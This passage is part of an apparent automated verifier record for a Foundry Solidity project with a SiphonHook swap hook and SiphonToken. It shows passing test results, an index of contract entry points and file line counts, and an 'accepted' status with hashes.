|\n╰---------------+-------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.80s (2.65s CPU time)\n\nRan 6 test suites in 2.80s (5.37s CPU time): 84 tests passed, 0 failed, 0 skipped (84 total tests)\n","passed":true},{"durationMs":98,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SiphonHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SiphonHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SiphonHook.setAnchor(address,bytes32)\",\"SiphonHook.setPaused(bool)\",\"SiphonHook.transferOwnership(address)\",\"SiphonToken.approve(address,uint256)\",\"SiphonToken.transfer(address,uint256)\",\"SiphonToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":5,\"README.md\":267,\"foundry.toml\":21,\"remappings.txt\":4,\"script/DeploySiphon.s.sol\":53,\"src/HookFlags.sol\":35,\"src/SiphonHook.sol\":232,\"src/SiphonToken.sol\":16,\"test/DeploySiphon.t.sol\":31,\"test/HookFlags.t.sol\":41,\"test/SiphonHook.t.sol\":696,\"test/SiphonHookEdges.t.sol\":631,\"test/SiphonToken.t.sol\":97,\"test/floor/OwnerChecks.sol\":27,\"test/invariant/SiphonHook.invariant.t.sol\":414,\"test/mocks/AnchorView.sol\":68,\"test/mocks/DustSwapper.sol\":31,\"test/mocks/HostileAnchors.sol\":62,\"test/mocks/LimitSwapper.sol\":51,\"test/mocks/LiquidityRouter.sol\":60,\"test/mocks/MockERC20.sol\":15,\"test/mocks/Swapper.sol\":65},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"e8f869f65dd5ec5c1a55060d6e2b8b38bded1dc87bd68de931ddf264ee5d469a","verifiedTreeHash":"bf6fde4ad54bc9abfaf874b906cae070e3136059","verifierVersion":"0.1.0+1d98f47e"}]}